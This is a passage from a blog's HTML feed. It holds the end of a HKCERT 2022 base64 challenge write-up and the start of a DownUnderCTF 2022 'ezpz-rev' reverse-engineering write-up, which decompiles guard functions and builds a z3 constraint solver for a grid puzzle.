&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hkcert22{b4s3_s1x7y_f0ur_1s_4n_3nc0d1n9_n07_4n_encryp710n}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;What about é and à, as in déjà vu? Well, although those &lt;em&gt;are&lt;/em&gt; technically in the extended ASCII character set, they should be rare enough. (Also I think Python encodes them differently from regular ASCII.) &lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;But what about newline (&lt;code&gt;&#92;n&lt;/code&gt;, ASCII 10) and carriage return (&lt;code&gt;&#92;r&lt;/code&gt;, ASCII 13)? These are also possible to have in plaintext messages. We shouldn’t entirely discount these, but as they’re relatively rare, we won’t consider them for now. &lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Later on, we removed the second/third-MSB constraint since it got in the way of decoding &lt;code&gt;&#92;n&lt;/code&gt;. &lt;a href=&quot;https://trebledj.me/posts/hkcert-2022-base64-encryption/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>cryptography</category>
        
          <category>python</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>DownUnderCTF 2022 – ezpz-rev</title>
        <description>Grid puzzles aren&#39;t that easy.</description>
        <link href="https://trebledj.me/posts/ductf-2022-ezpz-rev/"/>
        <updated>2022-09-28T00:00:00Z</updated>
        <id>https://trebledj.me/posts/ductf-2022-ezpz-rev/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This was a fun little break from all the school work piling up. School is tiring, just like something else...&lt;/p&gt;
&lt;h2 id=&quot;challenge-description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#challenge-description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Challenge Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;CTFing is tiring. Take a break with this easy puzzle!&lt;/p&gt;
&lt;p&gt;Note: The binary and server in this challenge are the same as &amp;quot;ezpz-pwn&amp;quot;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The description is rather terse. But it seems like the same binary is used for two challenges.&lt;/p&gt;
&lt;p&gt;The binary is available on the &lt;a href=&quot;https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/rev/ezpz-rev&quot;&gt;DownUnderCTF repository&lt;/a&gt;. If you want to have a stab at the challenge, go for it!&lt;/p&gt;
&lt;h2 id=&quot;writeup&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#writeup&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Writeup&lt;/h2&gt;
&lt;p&gt;As with all reverse challenges, let’s first throw the executable into a decompiler and see what crops up. I&#39;ll be using &lt;a href=&quot;https://ghidra-sre.org/&quot;&gt;Ghidra&lt;/a&gt;, a free open-source decompiler perfect for ezpz challenges.&lt;/p&gt;
&lt;p&gt;Navigating to main, we see a function call, a gets (for reading user input), and a chain of four if-statements barring our way to some statements which print out the contents of &lt;code&gt;flag-rev.txt&lt;/code&gt; (presumably the flag for this reverse challenge).&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the main function.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-1062w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-1062w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1062 / 1308&quot; alt=&quot;Decompiled output of the main function.&quot; title=&quot;Decompiled output of the main function.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-main-1062w.webp 1062w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1062px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The most important functions to crack are the four guarding the file read. But we’ll take a look at the initialisation procedures first since they provide some helpful context towards understanding the program. Along the way, we’ll incrementally build a &lt;a href=&quot;https://github.com/Z3Prover/z3&quot;&gt;z3 logic solver&lt;/a&gt; to emulate/reverse each function.&lt;/p&gt;
&lt;h3 id=&quot;initialisation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#initialisation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Initialisation&lt;/h3&gt;
&lt;p&gt;The first initialisation function modifies some options for the stdin/stdout buffers. Pretty standard C-style CTF stuff. The second initialisation function is much more interesting. Here’s a screenshot of the decompiled program:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the initialisation function.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-1158w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-1158w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1158 / 1126&quot; alt=&quot;Decompiled output of the initialisation function.&quot; title=&quot;Decompiled output of the initialisation function.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-init-1158w.webp 1158w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1158px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Decompilers are great and all, but the lack of useful variable names, comments, and readability can be a pain. Here’s a cleaned up version:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;init_run_length_encoded&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; initcode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xc4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; ind &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Index used to insert into data. Serves the dual purpose of tracking the size of the data.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; initcode&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; initcode&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Convert digit (char) to int.&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; initcode&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Character to fill.&lt;/span&gt;
        
        &lt;span class=&quot;token comment&quot;&gt;// Unpack run-length atom into `data`.&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ind&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In effect, the function initialises an array of chars by decoding a &lt;a href=&quot;https://en.wikipedia.org/wiki/Run-length_encoding&quot;&gt;run-length encoded&lt;/a&gt; string. For example, the string &lt;code&gt;5a4b3c2d&lt;/code&gt; gets expanded to &lt;code&gt;aaaaabbbbcccdd&lt;/code&gt;. Of course, the encoded string used is much longer, and it turns out that it fills all 196 (0xc4) chars allocated. There are a few more things I’d like to point out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;196 (0xc4) is a number that pops up a lot in this binary.&lt;/li&gt;
&lt;li&gt;Although typical run-length encoded strings may have more than 9 digits packed together (e.g. 12c13e42f), the implementation above assumes a run-length of at most 9 (i.e. one digit).&lt;/li&gt;
&lt;li&gt;Interestingly, the characters encoded only range from &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;n&lt;/code&gt;. We’ll see how these come into play later on.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can begin writing our solve script! Let’s perform this initialisation and decode the string into a &lt;code&gt;chars&lt;/code&gt; variable.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;encoded &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;5a4b3c2d5a4b4c1d2a1e3a3b4c1d2a1e1f2a3b3c1g1d3e5f1b2c2g1d1f2e4f6g1d7f3h3g1d4f6h3g1d2f1i4j1h2k2l1m1d3i2j5k2l2m2i3j4k3l2m2i3j4k3l2m1i5j2k2n2l2m1i4j5n4l&#39;&lt;/span&gt;
chars &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;encoded&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    skip&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; char &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; encoded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; encoded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# Select pair of characters.&lt;/span&gt;
    chars &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;skip&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; char                   &lt;span class=&quot;token comment&quot;&gt;# Unpack run-length atom.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chars&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xc4&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;the-first-and-second-guards-move-along-now-nothing-to-see-here&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#the-first-and-second-guards-move-along-now-nothing-to-see-here&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The First and Second Guards: Move Along Now, Nothing to See Here&lt;/h3&gt;
&lt;p&gt;If the initialisation procedures are the appetiser, then the four guards are the main course.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Ten-huttt!&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-1000w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-1000w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1000 / 750&quot; alt=&quot;Four King&#39;s Guards marching along.&quot; title=&quot;Ten-huttt!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-1000w.webp 1000w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1000px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I’ll be using the term guards and tests interchangeably. &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Guard_(computer_science)&quot;&gt;Guards&lt;/a&gt; are a term I’m borrowing from CS and functional programming. It’s basically an elevated if-statement.&lt;/p&gt;
&lt;p&gt;Each guard checks if the input satisfies some condition. If the condition passes, the guard function returns 1, else 0. To get to the delicious dessert (the flag :P), we want all four functions to return 1.&lt;/p&gt;
&lt;p&gt;Easier said than done. Let’s start with the first function and see what it decompiles into.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the first guard.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-938w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-938w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 938 / 888&quot; alt=&quot;Decompiled output of the first guard.&quot; title=&quot;Decompiled output of the first guard.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-938w.webp 938w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 938px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here’s a more readable version:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;196&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; count &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;start &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                count&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;count &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Essentially, it groups input into blocks of 14 chars; then it checks if the number of &lt;code&gt;&#39;1&#39;&lt;/code&gt;s in each block is exactly three. If any check is false, then the function returns 0, meaning we have failed miserably.&lt;/p&gt;
&lt;p&gt;We can easily model this symbolically in z3. We’ll first create 196 symbols, each representing one character in input. Then, we&#39;ll create a z3 solver object: this is our interface to z3’s automagical solver. Through the solver, we can add constraints, remove constraints, generate concrete values, etc.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Create a bunch of symbols.&lt;/span&gt;
inputs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Int&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;g_&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;196&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Create a constraint solver object.&lt;/span&gt;
s &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Solver&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Constrain possible input. We just care about the 1s, really.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; sym &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; inputs&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Or&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sym &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sym &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;

